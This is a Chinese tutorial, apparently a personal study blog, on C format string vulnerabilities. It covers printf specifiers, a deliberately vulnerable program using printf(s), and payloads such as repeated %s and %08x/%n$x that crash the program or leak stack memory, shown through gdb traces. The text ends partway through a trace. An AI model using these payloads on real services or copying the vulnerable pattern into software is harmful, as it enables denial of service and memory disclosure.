<content type="html"><![CDATA[<h1 id="格式化字符串漏洞原理介绍"><a href="#格式化字符串漏洞原理介绍" class="headerlink" title="格式化字符串漏洞原理介绍"></a>格式化字符串漏洞原理介绍</h1><p>首先,对格式化字符串漏洞的原理进行简单介绍。</p><h2 id="格式化字符串函数介绍"><a href="#格式化字符串函数介绍" class="headerlink" title="格式化字符串函数介绍"></a>格式化字符串函数介绍</h2><p>格式化字符串函数可以接受可变数量的参数,<strong>并将第一个参数作为格式化字符串,根据其来解析之后的参数</strong>。通俗来说,格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式。几乎所有的C/C++程序都会利用格式化字符串函数来<strong>输出信息,调试程序,或者处理字符串</strong>。一般来说,格式化字符串在利用的时候主要分为三个部分:</p><ul><li>格式化字符串函数</li><li>格式化字符串</li><li>后续参数(可选)</li></ul><p>以printf函数举例:</p><p><img src="https://img-blog.csdnimg.cn/20200519002938310.jpg" alt="在这里插入图片描述"></p><h3 id="格式化字符串函数"><a href="#格式化字符串函数" class="headerlink" title="格式化字符串函数"></a>格式化字符串函数</h3><p>常见的格式化字符串函数有:</p><ul><li><p>输入</p><ul><li>scanf</li></ul></li><li><p>输出</p><table><thead><tr><th align="center">函数</th><th align="center">基本介绍</th></tr></thead><tbody><tr><td align="center">printf</td><td align="center">输出到stdout</td></tr><tr><td align="center">fprintf</td><td align="center">输出到指定FILE流</td></tr><tr><td align="center">vpirntf</td><td align="center">根据参数列表格式化输出到stdout</td></tr><tr><td align="center">vfprintf</td><td align="center">根据参数列表格式化输出到指定FILE流</td></tr><tr><td align="center">sprintf</td><td align="center">输出到字符串</td></tr><tr><td align="center">snprintf</td><td align="center">输出指定字节数到字符串</td></tr><tr><td align="center">vsprintf</td><td align="center">根据参数列表格式化输出到字符串</td></tr><tr><td align="center">vsnprintf</td><td align="center">根据参数列表格式化输出指定字节到字符串</td></tr><tr><td align="center">setproctitle</td><td align="center">设置argv</td></tr><tr><td align="center">syslog</td><td align="center">输出日志</td></tr><tr><td align="center">err,verr,warn,vwarn等</td><td align="center">…</td></tr></tbody></table></li></ul><h3 id="格式化字符串"><a href="#格式化字符串" class="headerlink" title="格式化字符串"></a>格式化字符串</h3><p>格式化字符串的基本格式如下:</p><pre><code>%[parameter][flags][field width][.precision][length]type</code></pre><p><a href="[https://zh.wikipedia.org/wiki/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2](https://zh.wikipedia.org/wiki/格式化字符串)">format string-Wikipedia</a></p><ul><li><p>parameter(可选)</p><ul><li>n$,获取格式化字符串中的第n个参数</li></ul></li><li><p>flags(可为0个或多个)</p><table><thead><tr><th align="center">字符</th><th align="center">描述</th></tr></thead><tbody><tr><td align="center">+</td><td align="center">总是表示有符号数值的’+’或’-‘号,缺省情况是忽略正数的符号。仅适用于数值类型。</td></tr><tr><td align="center">空格</td><td align="center">使得有符号数的输出如果没有正负号或者输出0个字符,则前缀1个空格。如果空格与’+’同时出现,则空格说明符被忽略。</td></tr><tr><td align="center">-</td><td align="center">左对齐。缺省情况是右对齐。</td></tr><tr><td align="center">#</td><td align="center">对于’g’与’G’,不删除尾部0以表示精度。对于’f’,’F’,’e’,’E’,’g’,’G’,总是输出小数点。对于’o’,’x’,’X’,在非0数值前分别输出前缀0,0x,and 0X表示数制。</td></tr><tr><td align="center">0</td><td align="center">如果width选项前缀以0,则在左侧用0填充直至达到宽度要求。例如<code>printf("%2d", 3)</code>输出”<code>3</code>“,而<code>printf("%02d", 3)</code>输出”<code>03</code>“。如果<code>0</code>与<code>-</code>均出现,则<code>0</code>被忽略,即左对齐依然用空格填充。</td></tr></tbody></table></li><li><p>field width</p><ul><li>输出的最小宽度</li></ul></li><li><p>precision</p><ul><li>输出的最大长度</li></ul></li><li><p>length,输出的长度</p><ul><li>hh,输出一个字节</li><li>h,输出一个双字节</li></ul></li><li><p>type</p><ul><li>d/i,有符号整数</li><li>u,无符号整数</li><li>x/X,16进制unsigned int。x使用小写字母;X使用大写字母。如果指定了精度,则输出的数字不足时在左侧补0。默认精度为1.精度为0且值为0,则输出为空。</li><li>o,8进制unsigned int。如果指定了精度,则输出的数字不足时在左侧补0.默认精度为1.精度为0且值为0,则输出为空。</li><li>s,如果没有用l标志,输出null结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了l标志,则对应函数参数指向wchar_t型的数组,输出时把每个宽字符转化为多字节字符,相当于调用wcrtomb函数。</li><li>c,如果没有用l标志,把int参数转为unsigned char型输出;如果用了l标志,把wint_t参数转为包含两个元素的wchart_t数组,其中第一个元素包含要输出的字符,第二个元素为null宽字符。</li><li>p,void *型,输出对应变量的值。printf(“%p”,a)用地址的格式打印变量a的值,printf(“%p”,&a)打印变量a所在的地址。</li><li>n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。</li><li>%,’%’字面值,不接受任何flags,width。</li></ul></li></ul><h3 id="参数"><a href="#参数" class="headerlink" title="参数"></a>参数</h3><p>即相应的要输出的变量。</p><h2 id="格式化字符串漏洞原理"><a href="#格式化字符串漏洞原理" class="headerlink" title="格式化字符串漏洞原理"></a>格式化字符串漏洞原理</h2><p>上面说到,格式化字符串函数是根据格式化字符串函数来进行解析的。<strong>那么相应的要被解析的参数的个数也自然是由这个格式化字符串所控制。</strong>比如说’%s’表明我们会输出一个字符串参数。</p><p>我们继续以上面的为例子进行介绍</p><p><img src="https://img-blog.csdnimg.cn/2020051900301089.jpg" alt="在这里插入图片描述"></p><p>对于这样的例子,在进入printf函数之前(即还没有调用printf函数),栈上的布局由高地址到低地址依次为:</p><pre><code>some value #假设为某个未知的值3.14123456addr of "red"addr of format string: Color %s...</code></pre><p>在进入printf之后,函数首先获取第一个参数,一个一个读取其字符串会遇到两种情况:</p><ul><li>当前字符不是 %,直接输出到相应标准输出。</li><li>当前字符是%,继续读取下一个字符<ul><li>如果没有字符,报错</li><li>如果下一个字符是%,输出%</li><li>否则根据相应的字符,获取相应的参数,对其进行解析并输出</li></ul></li></ul><p>假设在编写程序的时候,写成了下面的样子</p><pre><code>printf("Color %s,Number %d,Float %4.2f");</code></pre><blockquote><p>即没有提供参数,程序应该如何运行?</p></blockquote><p>程序照样会运行,会将栈上存储格式化字符串地址上面的三个变量分别解析为</p><ul><li>1.解析其地址对应的字符串</li><li>2.解析其内容对应的整型值</li><li>3.解析其内容对应的浮点值</li></ul><p>对于2,3来说倒还无妨,但是对于1来说,如果提供了一个不可访问地址,比如0,那么程序就会因此而崩溃。</p><p>这基本就是格式化字符串漏洞的基本原理了。</p><hr><h1 id="格式化字符串漏洞利用"><a href="#格式化字符串漏洞利用" class="headerlink" title="格式化字符串漏洞利用"></a>格式化字符串漏洞利用</h1><p>其实,在上一部分,我们展示了格式化字符串漏洞的两个利用手段</p><ul><li>使程序崩溃,因为%s对应的参数地址不合法的概率比较大。</li><li>查看进程内容,根据%d,%f输出了栈上的内容。</li></ul><p>下面我们会对于每一方面进行更加详细的解释。</p><h2 id="程序崩溃"><a href="#程序崩溃" class="headerlink" title="程序崩溃"></a>程序崩溃</h2><p>通常来说,利用格式化字符串漏洞使得程序崩溃是最为简单的利用方式,因为我们值需要输入若干个%s即可</p><pre><code>%s%s%s%s%s%s%s%s%s%s%s%s%s%s</code></pre><p>这是因为栈上不可能每个值都对应了合法的地址,所以总是会有某个地址可以使得程序崩溃。这一利用,虽然攻击者本身似乎并不能控制程序,但是这样却可以造成程序不可用。比如说,如果远程服务有一个格式化字符串漏洞,那么我们就可以攻击其可用性,使服务崩溃,进而使得用户不能够访问。</p><h2 id="泄露内存"><a href="#泄露内存" class="headerlink" title="泄露内存"></a>泄露内存</h2><p>利用格式化字符串的漏洞,我们还可以获取我们所想要输出的内容。一般会有如下几种操作:</p><ul><li>泄露栈内存<ul><li>获取某个变量的值</li><li>获取某个变量对应地址的内存</li></ul></li><li>泄露任意地址内存<ul><li>利用GOT表得到libc函数地址,进而获取libc,进而获取其它libc函数地址</li><li>盲打,dump整个程序,获取有用信息</li></ul></li></ul><h4 id="泄露栈内存"><a href="#泄露栈内存" class="headerlink" title="泄露栈内存"></a>泄露栈内存</h4><p>例如,给定如下程序</p><pre class="line-numbers language-c"><code class="language-c"><span class="token macro property">#<span class="token directive keyword">include</span> <span class="token string"><stdio.h></span></span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">char</span> s<span class="token punctuation">[</span><span class="token number">100</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">int</span> a <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">,</span> b <span class="token operator">=</span> <span class="token number">0x22222222</span><span class="token punctuation">,</span> c <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">;</span> <span class="token function">scanf</span><span class="token punctuation">(</span><span class="token string">"%s"</span><span class="token punctuation">,</span> s<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"%08x.%08x.%08x.%s\n"</span><span class="token punctuation">,</span> a<span class="token punctuation">,</span> b<span class="token punctuation">,</span> c<span class="token punctuation">,</span> s<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">printf</span><span class="token punctuation">(</span>s<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">}</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>然后编译,</p><pre class="line-numbers language-shell"><code class="language-shell">devil@ubuntu:~$ gcc -m32 -fno-stack-protector -no-pie -o leakmemory leakmemory.c In file included from /usr/include/stdio.h:27:0, from leakmemory.c:1:/usr/include/features.h:367:25: fatal error: sys/cdefs.h: No such file or directorycompilation terminated.<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>这是什么奇怪的报错啊…</p><pre class="line-numbers language-c"><code class="language-c">devil@ubuntu<span class="token punctuation">:</span><span class="token operator">~</span>$ gcc <span class="token operator">-</span>fno<span class="token operator">-</span>stack<span class="token operator">-</span>protector <span class="token operator">-</span>no<span class="token operator">-</span>pie <span class="token operator">-</span>o leakmemory leakmemory<span class="token punctuation">.</span>cleakmemory<span class="token punctuation">.</span>c<span class="token punctuation">:</span> In function ‘main’<span class="token punctuation">:</span>leakmemory<span class="token punctuation">.</span>c<span class="token punctuation">:</span><span class="token number">7</span><span class="token punctuation">:</span><span class="token number">9</span><span class="token punctuation">:</span> warning<span class="token punctuation">:</span> format not a string literal and no format arguments <span class="token punctuation">[</span><span class="token operator">-</span>Wformat<span class="token operator">-</span>security<span class="token punctuation">]</span> <span class="token function">printf</span><span class="token punctuation">(</span>s<span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>把-m32去掉就好了。</p><p>可以看出,编译器指出了我们的程序中没有给出格式化字符串的参数问题。下面我们来看一下如何获取对应的栈内存。</p><p>根据 C 语言的调用规则,格式化字符串函数会根据格式化字符串直接使用栈上自顶向上的变量作为其参数 (64 位会根据其传参的规则进行获取)。这里我们主要介绍 32 位。</p><h5 id="获取栈变量数值"><a href="#获取栈变量数值" class="headerlink" title="获取栈变量数值"></a>获取栈变量数值</h5><p>首先,我们可以利用格式化字符串来获取栈上变量的数值。我们可以试一下…</p><p>结果是运行没反应,考虑到可能是-m32参数没加的原因,上网查了之前的报错,可能是libc的库有问题。</p><pre class="line-numbers language-shell"><code class="language-shell">sudo apt-get purge libc6-devsudo apt-get install libc6-devsudo apt-get install libc6-dev-i386<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p><img src="https://img-blog.csdnimg.cn/2020051900303830.jpg" alt="在这里插入图片描述"></p><p>运行还是没反应…我突然发现原来程序要先输入…WSSB</p><pre class="line-numbers language-shell"><code class="language-shell">devil@ubuntu:~$ ./leakmemory %08x.%08x.%08x00000001.22222222.ffffffff.%08x.%08x.%08xffab5f48.f7f07918.00f0b5ff<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><p>可以看到,我们确实得到了一些内容。为了更加细致的观察,我们利用 GDB 来调试一下,以便于验证我们的想法,这里删除了一些不必要的信息,我们只关注代码段以及栈。</p><p>首先,启动程序,将断点下载 printf 函数处</p><pre class="line-numbers language-shell"><code class="language-shell">devil@ubuntu:~$ gdb leakmemory gef➤ b printfBreakpoint 1 at 0x8048370<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><pre class="line-numbers language-shell"><code class="language-shell">gef➤ rStarting program: /home/devil/leakmemory %08x.%08x.%08x<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>敲击回车,程序继续运行,可以看出程序首先断在了第一次调用printf函数的位置</p><pre class="line-numbers language-assembly"><code class="language-assembly">Breakpoint 1, __printf (format=0x80485d3 "%08x.%08x.%08x.%s\n") at printf.c:2828 printf.c: No such file or directory.[ Legend: Modified register | Code | Heap | Stack | String ]───────────────────────────────────────────────────────────────── registers ────$eax : 0xffffd008 → "%08x.%08x.%08x"$ebx : 0x0 $ecx : 0x1 $edx : 0xf7fb787c → 0x00000000$esp : 0xffffcfcc → 0x0804851d → <main+98> add esp, 0x20$ebp : 0xffffd078 → 0x00000000$esi : 0xf7fb6000 → 0x001b1db0$edi : 0xf7fb6000 → 0x001b1db0$eip : 0xf7e4d670 → <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax>$eflags: [carry parity ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification]$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ────0xffffcfcc│+0x0000: 0x0804851d → <main+98> add esp, 0x20 ← $esp0xffffcfd0│+0x0004: 0x080485d3 → "%08x.%08x.%08x.%s\n"0xffffcfd4│+0x0008: 0x000000010xffffcfd8│+0x000c: 0x222222220xffffcfdc│+0x0010: 0xffffffff0xffffcfe0│+0x0014: 0xffffd008 → "%08x.%08x.%08x"0xffffcfe4│+0x0018: 0xffffd008 → "%08x.%08x.%08x"0xffffcfe8│+0x001c: 0xf7ffd918 → 0x00000000─────────────────────────────────────────────────────────────── code:x86:32 ──── 0xf7e4d667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4] 0xf7e4d66d nop 0xf7e4d66e xchg ax, ax → 0xf7e4d670 <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax> ↳ 0xf7f23b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp] 0xf7f23b5c <__x86.get_pc_thunk.ax+3> ret 0xf7f23b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp] 0xf7f23b60 <__x86.get_pc_thunk.dx+3> ret 0xf7f23b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp] 0xf7f23b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ────__x86.get_pc_thunk.ax ()─────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "leakmemory", stopped 0xf7e4d670 in __printf (), reason: BREAKPOINT───────────────────────────────────────────────────────────────────── trace ────[#0] 0xf7e4d670 → __printf(format=0x80485d3 "%08x.%08x.%08x.%s\n")[#1] 0x804851d → main()<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>可以看出,此时已经进入了printf函数中,<strong>栈中的第一个变量为返回地址,第二个变量为格式化字符串的地址,第三个变量为a的值,第四个变量为b的值,第五个变量为c的值,第六个变量为我们输入的格式化字符串对应的地址。</strong>继续运行程序。</p><pre class="line-numbers language-shell"><code class="language-shell">gef➤ cContinuing.00000001.22222222.ffffffff.%08x.%08x.%08x<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>可以看出,程序确实输出了每一个变量对应的数值,并且断在了下一个printf处</p><pre class="line-numbers language-assembly"><code class="language-assembly">Breakpoint 1, __printf (format=0xffffd008 "%08x.%08x.%08x") at printf.c:2828 in printf.c[ Legend: Modified register | Code | Heap | Stack | String ]───────────────────────────────────────────────────────────────── registers ────$eax : 0xffffd008 → "%08x.%08x.%08x"$ebx : 0x0 $ecx : 0x7fffffd6$edx : 0xf7fb7870 → 0x00000000$esp : 0xffffcfdc → 0x0804852c → <main+113> add esp, 0x10$ebp : 0xffffd078 → 0x00000000$esi : 0xf7fb6000 → 0x001b1db0$edi : 0xf7fb6000 → 0x001b1db0$eip : 0xf7e4d670 → <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax>$eflags: [carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification]$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ────0xffffcfdc│+0x0000: 0x0804852c → <main+113> add esp, 0x10 ← $esp0xffffcfe0│+0x0004: 0xffffd008 → "%08x.%08x.%08x"0xffffcfe4│+0x0008: 0xffffd008 → "%08x.%08x.%08x"0xffffcfe8│+0x000c: 0xf7ffd918 → 0x000000000xffffcfec│+0x0010: 0x00f0b5ff0xffffcff0│+0x0014: 0xffffd02e → 0xffff0000 → 0x000000000xffffcff4│+0x0018: 0x000000010xffffcff8│+0x001c: 0x000000c2─────────────────────────────────────────────────────────────── code:x86:32 ──── 0xf7e4d667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4] 0xf7e4d66d nop 0xf7e4d66e xchg ax, ax → 0xf7e4d670 <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax> ↳ 0xf7f23b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp] 0xf7f23b5c <__x86.get_pc_thunk.ax+3> ret 0xf7f23b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp] 0xf7f23b60 <__x86.get_pc_thunk.dx+3> ret 0xf7f23b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp] 0xf7f23b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ────__x86.get_pc_thunk.ax ()─────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "leakmemory", stopped 0xf7e4d670 in __printf (), reason: BREAKPOINT───────────────────────────────────────────────────────────────────── trace ────[#0] 0xf7e4d670 → __printf(format=0xffffd008 "%08x.%08x.%08x")[#1] 0x804852c → main()<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>此时,由于格式化字符串为%x%x%x,所以,程序会将栈上的第三个地址开始处(也就是0xffffcfe4)及其以后的数值分别作为第一、第二、第三个参数按照int型进行解析,分别输出。继续运行,我们可以得到如下结果,和想象中一致。</p><pre class="line-numbers language-shell"><code class="language-shell">gef➤ cContinuing.ffffd008.f7ffd918.00f0b5ff[Inferior 1 (process 4193) exited normally]<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>当然,我们也可以使用%p来获取数据,如下</p><pre><code>gef➤ rStarting program: /home/devil/leakmemory %p.%p.%p00000001.22222222.ffffffff.%p.%p.%p0xffffd008.0xf7ffd918.0xf0b5ff[Inferior 1 (process 4253) exited normally]</code></pre><p>这里需要注意的是,并不是每次得到的结果都一样 ,因为栈上的数据会因为每次分配的内存页不同而有所不同,这是因为栈是不对内存页做初始化的。</p><p><strong>那么有没有办法直接获取栈中被视为第n+1个参数的值呢?</strong></p><p>方法如下:</p><pre><code>%n$x</code></pre><p>利用如上的字符串,我们就可以获取到对应的第 n+1 个参数的数值。为什么这里要说是对应第 n+1 个参数呢?这是因为格式化参数里面的 n 指的是该格式化字符串对应的第 n 个输出参数,那相对于输出函数来说,就是第 n+1 个参数了。</p><p>我们再次以gdb调试一下。</p><pre class="line-numbers language-sh"><code class="language-sh">devil@ubuntu:~$ gdb leakmemorygef➤ b printfBreakpoint 1 at 0x8048370gef➤ rStarting program: /home/devil/leakmemory %3$xBreakpoint 1, __printf (format=0x80485d3 "%08x.%08x.%08x.%s\n") at printf.c:2828 printf.c: No such file or directory.[ Legend: Modified register | Code | Heap | Stack | String ]───────────────────────────────────────────────────────────────── registers ────$eax : 0xffffd008 → "%3$x"$ebx : 0x0 $ecx : 0x1 $edx : 0xf7fb787c → 0x00000000$esp : 0xffffcfcc → 0x0804851d → <main+98> add esp, 0x20$ebp : 0xffffd078 → 0x00000000$esi : 0xf7fb6000 → 0x001b1db0$edi : 0xf7fb6000 → 0x001b1db0$eip : 0xf7e4d670 → <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax>$eflags: [carry parity ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification]$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ────0xffffcfcc│+0x0000: 0x0804851d → <main+98> add esp, 0x20 ← $esp0xffffcfd0│+0x0004: 0x080485d3 → "%08x.%08x.%08x.%s\n"0xffffcfd4│+0x0008: 0x000000010xffffcfd8│+0x000c: 0x222222220xffffcfdc│+0x0010: 0xffffffff0xffffcfe0│+0x0014: 0xffffd008 → "%3$x"0xffffcfe4│+0x0018: 0xffffd008 → "%3$x"0xffffcfe8│+0x001c: 0xf7ffd918 → 0x00000000─────────────────────────────────────────────────────────────── code:x86:32 ──── 0xf7e4d667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4] 0xf7e4d66d nop 0xf7e4d66e xchg ax, ax → 0xf7e4d670 <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax> ↳ 0xf7f23b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp] 0xf7f23b5c <__x86.get_pc_thunk.ax+3> ret 0xf7f23b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp] 0xf7f23b60 <__x86.get_pc_thunk.dx+3> ret 0xf7f23b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp] 0xf7f23b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ────__x86.get_pc_thunk.ax ()─────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "leakmemory", stopped 0xf7e4d670 in __printf (), reason: BREAKPOINT───────────────────────────────────────────────────────────────────── trace ────[#0] 0xf7e4d670 → __printf(format=0x80485d3 "%08x.%08x.%08x.%s\n")[#1] 0x804851d → main()gef➤ cContinuing.00000001.22222222.ffffffff.%3$xBreakpoint 1, __printf (format=0xffffd008 "%3$x") at printf.c:2828 in printf.c[ Legend: Modified register | Code | Heap | Stack | String ]───────────────────────────────────────────────────────────────── registers ────$eax : 0xffffd008 → "%3$x"$ebx : 0x0 $ecx : 0x7fffffe0$edx : 0xf7fb7870 → 0x00000000$esp : 0xffffcfdc → 0x0804852c → <main+113> add esp, 0x10$ebp : 0xffffd078 → 0x00000000$esi : 0xf7fb6000 → 0x001b1db0$edi : 0xf7fb6000 → 0x001b1db0$eip : 0xf7e4d670 → <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax>$eflags: [carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification]$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ────0xffffcfdc│+0x0000: 0x0804852c → <main+113> add esp, 0x10 ← $esp0xffffcfe0│+0x0004: 0xffffd008 → "%3$x"0xffffcfe4│+0x0008: 0xffffd008 → "%3$x"0xffffcfe8│+0x000c: 0xf7ffd918 → 0x000000000xffffcfec│+0x0010: 0x00f0b5ff0xffffcff0│+0x0014: 0xffffd02e → 0xffff0000 → 0x000000000xffffcff4│+0x0018: 0x000000010xffffcff8│+0x001c: 0x000000c2─────────────────────────────────────────────────────────────── code:x86:32 ──── 0xf7e4d667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4] 0xf7e4d66d nop 0xf7e4d66e xchg ax, ax → 0xf7e4d670 <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax> ↳ 0xf7f23b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp] 0xf7f23b5c <__x86.get_pc_thunk.ax+3> ret 0xf7f23b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp] 0xf7f23b60 <__x86.get_pc_thunk.dx+3> ret 0xf7f23b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp] 0xf7f23b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ────__x86.get_pc_thunk.ax ()─────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "leakmemory", stopped 0xf7e4d670 in __printf (), reason: BREAKPOINT───────────────────────────────────────────────────────────────────── trace ────[#0] 0xf7e4d670 → __printf(format=0xffffd008 "%3$x")[#1] 0x804852c → main()gef➤ cContinuing.f0b5ff[Inferior 1 (process 4290) exited normally]<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>栈上第一个值是返回地址,第二个值是格式化字符串地址,第三个是格式化字符串第一个参数,第四个是格式化字符串第二个参数,第五个是格式化字符串第三个参数,也就是我们要输出的0x00f0b5ff。<strong>注意,格式化字符串的第三个参数是printf函数输出的第四个参数。</strong></p><h5 id="获取栈变量对应字符串"><a href="#获取栈变量对应字符串" class="headerlink" title="获取栈变量对应字符串"></a>获取栈变量对应字符串</h5><p>此外,我们还可以获得栈变量对应的字符串,这其实就是需要用到 %s 了。这里还是使用上面的程序,进行 gdb 调试,如下</p><pre class="line-numbers language-shell"><code class="language-shell">devil@ubuntu:~$ gdb leakmemorygef➤ b printfBreakpoint 1 at 0x8048370gef➤ rStarting program: /home/devil/leakmemory %sBreakpoint 1, __printf (format=0x80485d3 "%08x.%08x.%08x.%s\n") at printf.c:2828 printf.c: No such file or directory.[ Legend: Modified register | Code | Heap | Stack | String ]───────────────────────────────────────────────────────────────── registers ────$eax : 0xffffd008 → 0x00007325 ("%s"?)$ebx : 0x0 $ecx : 0x1 $edx : 0xf7fb787c → 0x00000000$esp : 0xffffcfcc → 0x0804851d → <main+98> add esp, 0x20$ebp : 0xffffd078 → 0x00000000$esi : 0xf7fb6000 → 0x001b1db0$edi : 0xf7fb6000 → 0x001b1db0$eip : 0xf7e4d670 → <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax>$eflags: [carry parity ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification]$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ────0xffffcfcc│+0x0000: 0x0804851d → <main+98> add esp, 0x20 ← $esp0xffffcfd0│+0x0004: 0x080485d3 → "%08x.%08x.%08x.%s\n"0xffffcfd4│+0x0008: 0x000000010xffffcfd8│+0x000c: 0x222222220xffffcfdc│+0x0010: 0xffffffff0xffffcfe0│+0x0014: 0xffffd008 → 0x00007325 ("%s"?)0xffffcfe4│+0x0018: 0xffffd008 → 0x00007325 ("%s"?)0xffffcfe8│+0x001c: 0xf7ffd918 → 0x00000000─────────────────────────────────────────────────────────────── code:x86:32 ──── 0xf7e4d667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4] 0xf7e4d66d nop 0xf7e4d66e xchg ax, ax → 0xf7e4d670 <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax> ↳ 0xf7f23b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp] 0xf7f23b5c <__x86.get_pc_thunk.ax+3> ret 0xf7f23b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp] 0xf7f23b60 <__x86.get_pc_thunk.dx+3> ret 0xf7f23b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp] 0xf7f23b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ────__x86.get_pc_thunk.ax 